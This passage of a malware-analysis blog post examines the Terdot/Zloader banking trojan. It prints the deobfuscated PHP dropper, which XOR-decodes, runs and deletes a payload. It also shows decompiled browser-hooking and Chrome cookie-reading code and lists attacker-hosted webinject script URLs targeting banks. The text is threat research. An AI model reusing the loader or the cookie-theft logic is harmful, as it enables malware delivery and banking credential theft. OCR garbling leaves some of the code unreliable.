'ekuwdqoqcadeetv', //5
'nxz', //6
"//7
);
return \$fcfeek[\$index];
}
?>
php</td
\$key = -1388517416;
\$erywquk = 3383;
<pre>\$in_filename = _get_arr_value(0);</pre>
<pre>\$out_filename = _get_arr_value(1);</pre>
<pre>\$in_filename = decode(\$in_filename, \$key);</pre>
#\$in_filename = "C:\Users\tester\AppData\Roaming\Vyaxy\royxh.umh"
\$golkdbl = _get_arr_value(2);
<pre>\$out_filename = decode(\$out_filename, \$key);</pre>
\$file_content = file_get_contents(\$in_filename);
#out_filename = "C:\Users\tester\AppData\Roaming\Vyaxy\royxh.umh.exe"
if (\$file_content) {
\$decoded_content = decode(\$file_content, \$key);
file_put_contents(\$out_filename, \$decoded_content);
exec(\$out_filename);
while (!unlink(\$out_filename))
Sleep(1);
}
function shift_decode(\$val, \$and_val)
{
\$k = \$and val & 31;

return (\$val << \$k) | ((\$val >> (32 - \$k)) & ((1 << (31 & \$k)) - 1));

}

function decode(\$in_buffer, \$key)

{

\$out_buffer = ";

\$input_len = strlen(\$in_buffer);

for (\$index = 0; \$index < \$input_len; ++\$index) {</pre>

\$decoded_char = chr(ord(\$in_buffer{\$index}) ^ (\$key & 0xFF));

\$out_buffer .= \$decoded_char;

\$key = shift_decode(\$key, 8);

++\$key;

}

return \$out_buffer;

}

?>

view raw

deobfuscated.php

hosted with ♥ by GitHub

As we can notice, the file *royxh.umh* contains encrypted code of the malware. Using the presented PHP script it is decrypted back into the Zloader executable:

fca092aca679edd9564d00e9640f939d

The dropped file is run and then deleted.

Inside

Zloader - payload.dll

This element – unpacked from the initial sample and injected into *explorer.exe* – is a downloader – identified as **Terdot.A/Zloader**. It is responsible for connecting with the CnC and downloading the main malicious module, that is the Zbot.

🔺 📴 payload.dll	~ >	×	•	5	4	đ	5		ġ.	4		ŵ																		
DOS Header	ć	5 -			~					-		-				-	-	-	-	-			-	~			-			
DOS stub					U	1	2	3	4	5	6	1	8	9	A	в	C	Ш	E			1	2	3	4 5	6	1	8	9 A	вс
Image: Minimum Mini		1	996		55	8B	EC	81	EC	DO	06	00	00	FF	4D	00	OF	85	BB	00	σ		ì		i Đ				įΜ	
Signature		1	9A6		00	00	E8	35	09	00	00	E8	66	1F	00	00	E8	8E	35	00	-		è	5			è	f		, è
File Header		1	9B6		00	E8	1F	3C	00	00	E8	90	13	00	00	8D	85	30	F9	FF		è				è				
Optional Header		1	976	_	ਸਾਜ	50	88	n۵	F1	मम	ਸਸ	8D	85	DC	FC	ਸ਼ਾਸ਼	ਸਾਸ	50	8D	85	÷	D	à	ń,	ñ e			i	Ì ü	0 0
Section Headers			Disas	m• t	evt		Ger	neral		DO	с ни	lr	Fil	e Hr	łr –	0	otior	al H	dr	Se	ectio	nн	dre			Exc	ort			Impor
 Sections 			01303				oci	ici di			5110	"		e ne	"	_ v	puor		ui	0.0			ur s		_				-	, mpo
4 👬 .text			*:*																											
EP = 1996		6	offcat			N	ame							V	ميراد				M	leani	na									
.rdata			500	•											aiuc				14	rearm	ng									
data		0	F90			CI T	hara	cter	istic	:s				0																
reloc		0	F94			1	mel	Jate	Star	mp				50	3504	1956	5													
		0	F98			M	lajor	Vers	ion					0																
		6	F9A			M	linoi	Vers	sion					0																
		6	F9C			N	ame							87	1C2				pa	ayloa	id.d	11								
		6	FA0			Ba	ase							1																
		6	FA4			N	umł	perO	fFu	ncti	ons			1																
		6	FA8			N	umł	berO)fNa	me	5			1																
		6	FAC			A	ddre	essO	fFu	nctio	ons			87	7B8															
		6	FB0			A	ddre	essO	fNa	mes				87	7BC															
		6	FB4			A	ddre	ssO	fNa	me(Ordi	nals		87	7C0															
		De	etails																											
		C	Offset			0	rdin	al			Fu	unct	ion	RVA	4	N	lam	e RV	A		N	am	e			1	For	ware	ler	
		6	FB8			1					26	6A				8	7CE				_S	tart	@4							

Zbot - client32.dll

The second stage is also a DLL - this time it is injected into msiexec.exe as well as into browsers:



Attacked targets

The bot injects itself into the most popular browsers, in order to hook their API:

```
v16 = v22,
             strcpy(buf, "\x02"),
            %(_DWORD *)((char *)&v28 + 2) = *(_DWORD *)(v22 + 2),
LOWORD(v28) = *(_WORD *)v22, ____
             find string(( WORD *)current path, (char *)L"iexplore.exe"))
      ind_string((_worD *)current_path, (char *)L'microsoftedgecp.exe")
|| find_string((_WORD *)current_path, (char *)L"microsoftedgecp.exe")
|| find_string((_WORD *)current_path, (char *)L"chrome.exe")
|| find_string((_WORD *)current_path, (char *)L"Opera.exe")
|| find_string((_WORD *)current_path, (char *)L"WebKit2WebProcess.exe")
|| sub_100099EC(1) && find_string((_WORD *)current_path, (char *)L"firefox.exe"))) )
{
   *(_DWORD *)(v16 + 2) = inet_addr("127.0.0.1");
   sub_10009D66((int)&v31);
   if ( (_WORD)v25 == 80 )
v17 = htons(hostshort[0]);
   else
      v17 = htons(hostshort[1]);
   *(_WORD *)v16 = v17;
   if ( find_string((_WORD *)current_path, (char *)L"iexplore.exe") )
      find_url_cache();
   v18 = dword_10181F78(a1, a2, a3, a4, a5, a6, lpAddress, dwSize, a9, a10);
v19 = 0;
   while ( select_socket(*(&s + v19), 3000) )
   {
      if ( ++∪19 >= 2 )
         goto LABEL_31;
   send via socket(*(&s + v19), buf, 16);
```

It excludes from the attack computers with Russian language installed – but instead of doing it silently, like most of the malware – it is very openly announcing this fact:



The SQL part

Inside the bot we can find references to an SQL release from the end of 2016 (see SQLite Release 3.15.1 On 2016-11-04):

```
.rdata:1012EFEC ; .data:101770E410
.rdata:1012EFF4 a20161104120849 db '2016-11-04 12:08:49
.rdata:1012EFF4 ; DATA XREF: sqlite_release<sup>1</sup>0
```

2016-11-04 12:08:49 1136863c76576110e710dd5d69ab6bf347c65e36

Presence of those references confirms, that the bot is pretty new, and probably under active development.

We can also see many SQL queries and related error messages among the strings:

.rdata:1012E7B8 aInsertIntoQ_0 db 'INSERT INTO %Q.%s VALUES(',27h,'trigger',27h,',%Q,%Q,0,',27h,'CREATE TRIGG' .rdata:1012E7B8 ; DATA XREF: sub_1003F5E3+1091 .rdata:1012E7B8 db 'ER %q',27h,')',0 .rdata:1012E7F8 aTypeTriggerAnd db 'type=',27h,'trigger',27h,' AND name=',27h,'%q',27h,0 .rdata:1012E7F8 ; DATA XREF: sub 1003F5E3+1331 .rdata:1012E815 align 4 .rdata:1012E818 aNoSuchTriggerS db 'no such trigger: %S',0 ; DATA XREF: sub_1003B8E8+A8[†]o .rdata:1012E82C aDeleteFromQ_1 db 'DELETE FROM %Q.%s WHERE name=%Q AND type=',27h,'trigger',27h,0 .rdata:1012E82C ; DATA XREF: sub_1003B9BE+B6[†]o .rdata:1012E85F align 10h -- TRIGGER %s',0 .rdata:1012E860 aTriggerS db ; DATA XREF: sub_10022AB4+F5To align 10h .rdata:1012E86E db 'no such column: %s',0 ; DATA XREF: sub 1004D89A+3DBto .rdata:1012E870 aNoSuchColumnS .rdata:1012E883 align 4 ; char aRowsUpdated[] aRowsUpdated db 'rows updated',0 .rdata:1012E884 .rdata:1012E884 aRowsUpdated ; DATA XREF: sub 1004D89A+EA6[†]o .rdata:1012E891 align 4 .rdata:1012E894 ; char aCannotVacuumFr[] .rdata:1012E894 aCannotVacuumFr db 'cannot VACUUM from within a transaction',0 .rdata:1012E894 : DATA XREF: sub 1004A5A5+10To .rdata:1012E8BC aCannotVacuumSq db 'cannot VACUUM - SQL statements in progress',0 .rdata:1012E8BC ; DATA XREF: sub_1004A5A5+331o align 4 .rdata:1012E8E7 .rdata:1012E8E8 aAttachAsVacuum db [•]ATTACH',27h,27h,'AS vacuum_db',0 ; DATA XREF: sub_1004A5A5+8Dto .rdata:1012E8E8 align 10h .rdata:1012E8FD .rdata:1012E900 aSelectSqlFromW db 'SELECT sql FROM "%w".sqlite master WHERE type=',27h,'table',27h,'AND na' control to the sequence of the sequence o .rdata:1012E900 .rdata:1012E900 .rdata:1012E96C align 10h .rdata:1012E970 aSelectSqlFro_0 db 'SELECT sql FROM "%w".sqlite_master WHERE type=',27h,'index',27h,' AND 1' .rdata:1012E970 ; DATA XREF: sub_1004A5A5+1DDTo .rdata:1012E970 db 'ength(sql)>10',0 .rdata:1012E9B9 align 10h .rdata:1012E9C0 aSelectInsertIn db 'SELECT',27h,'INSERT INTO vacuum_db.',27h,'|quote(name)||',27h,' SELECT*FR' ; DATA XREF: sub_1004A5A5+203To db 'OM"%w".',27h,'|quote(name)FROM vacuum_db.sqlite_master WHERE type=',27h .rdata:1012E9C0 .rdata:1012E9C0 db 'table',27h,'AND coalesce(rootpage,1)>0',0 .rdata:1012E9C0 .rdata:1012EA57 align 4 .rdata:1012EA58 aInsertIntoVacu db 'INSERT INTO vacuum db.sqlite master SELECT*FROM "%w".sqlite maste' db 'r WHERE type IN(',27h,'view',27h,',',27h,'trigger',27h,') OR(type=',27h,'table',27h .rdata:1012EA58 .rdata:1012EA58 .rdata:1012EA58 db 'AND rootpage=0)',0

They are used to read and manipulate browser cookies, that are stored in form of SQLite databases.

```
is_success = SHGetFolderPathA(0, 28, 0, 0, &pszPath);
if ( !is_success )
{
  sub_1006E068(&pszPath, "\\Google\\Chrome\\User Data\\Default\\cookies", -1);
  if (a1 & 2 )
  {
    is_success = sub_1001A45A(&pszPath, &v13);
    if ( !is_success )
    ₹.
      v10 = 0;
      if ( !sub_1001B22D(v13, "select `host_key`, `name`, `encrypted_value` from `cookies`", -1, &v10, 0) )
      Ł
        U3 = 0:
        v14 = 0;
        1pMem = 0;
        dò
        {
          if ( sqlite_apply_queries(v10) != 100 )
            break;
```

Queries deployed:

```
if ( v17 < 0 )
    v17 = sub_10037113(v9);
sub_1003846D(v21, v17);
*(_BYTE *)(v3 + 152) = v24;</pre>
                                 1
v12 = sub_10025715(
        ν3,
        v22);
if ( !v12 )
{
  v12 = sub_10025715(
          v3,
          a1.
          "SELECT sql FROM \"%w\".sqlite_master WHERE type='index' AND length(sql)>10",
          v22);
  if ( !012 )
  {
    *(_BYTE *)(v3 + 152) = 0;
v18 = sub_10025715(
            v3.
             a1.
             "SÉLECT'INSERT INTO vacuum db.'||quote(name)||' SELECT*FROM\"%w\".'||quote(name)FROM vacuum db.sqli"
            "te_master WHERE type='table'AND coalesce(rootpage,1)>0",
            v22);
    *(_DWORD *)(v3 + 24) &= 0xEFFFFFF;
    v12 = v18;
    if ( 1018)
    {
      v12 = sub_10025715(
              ν3,
               a1
              "INSERT INTO vacuum_db.sqlite_master SELECT*FROM \"%w\".sqlite_master WHERE type IN('view','trigg"
"er') OR(type='table'AND rootpage=0)",
               v22);
```

Man-in-the-Browser

The main module injected into msiexec opens local TCP sockets that are used to communicate with the module injected into browser.

00262883	FF15 60F43900 CALL	DWORD PTR DS: [39	9F4601	WS2_32.socket
00262889	83EC ØC SUB	ESP, <mark>0C</mark>		
0026288C	8945 FØ MOV	DWORD PTR SS:CEBP	P-10],EAX	
0026288F	B9 5382D6D6 MOV	ECX, D6D68253		
00262894	BB 10000000 MOV	EBX,10		
00262899	BF 252DB9E6 MOV	EDI,E6B92D25		
0026289E	EB 35 JMP	SHORT 002628D5		
DS: [0039F	460]=76C43EB8 (WS2_32	.socket)		
Address	Hex dump	ASCII	0229F480	00000002 0 Family = AF_INET
01D1463B		DI ANGAN D	0229F484	00000001 0 Type
	ו אא או אא זא צא או			
01014643	16 03 03 01 06 10 00 02 01 00 6F 81 F7 87		0229F488	00000006 + Protocol = IPPROTO_TCP

All the communication between the browser and particular website is first bypassed by client32.dll injected into msiexec.



Like many Zbots, Terdot not only spy but also allows to modify the displayed content, by "WebInjects" and "WebFakes".

Sites that are going to be hooked are specified by configuration. Example of the target list from one of the samples shows, that the main interest of the attackers are various banks: <u>https://gist.github.com/hasherezade/4db462af582c079b0ffa059b1fd2c465#file-targets-txt</u>

Webinjects are implemented by adding malicious scripts (specialized for a specific target) into the content of the website. The scripts are hosted on the server controlled by attackers. Sample list of the scripts, fetched by the bot during tests:

This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters. Learn more about bidirectional Unicode characters

Show hidden characters

https://duckduck2.online/ca/b.js

https://duckduck2.online/ca/d.js

https://duckduck2.online/ca/g.js

https://duckduck2.online/ca/r.js

https://duckduck2.online/pp/paypal.js

https://duckduck2.online/uk/bos.js

https://duckduck2.online/uk/halifax.js

https://duckduck2.online/uk/hsbc.js

https://duckduck2.online/uk/lloyds.js

https://duckduck2.online/uk/nationwide.js

https://duckduck2.online/uk/natwest.js

https://duckduck2.online/uk/rbs.js

https://duckduck2.online/uk/santander.js

https://duckduck2.online/uk/barclays.js

view raw

injects.txt

hosted with ♥ by GitHub

Those java scripts are implanted into the the attacked site before it is displayed in the browser – along with some more, obfuscated code. Templates of such implants are downloaded from the CnC server. You can see some examples <u>here</u>.

Conclusion

Terdot is yet another bot based on Zeus. Feature-wise it is similar to other bankers. However, I think it deserved some attention because of it's recent popularity. It has been prepared with attention to details, so we may suspect that it is a work of professionals. It is actively developed, distributed and maintained – so, the probability is high, that we will be seeing it more in the future.

This was a guest post written by Hasherezade, an independent researcher and programmer with a strong interest in InfoSec. She loves going in details about malware and sharing threat information with the community. Check her out on Twitter @<u>hasherezade</u> and her personal blog: <u>https://hshrzd.wordpress.com</u>.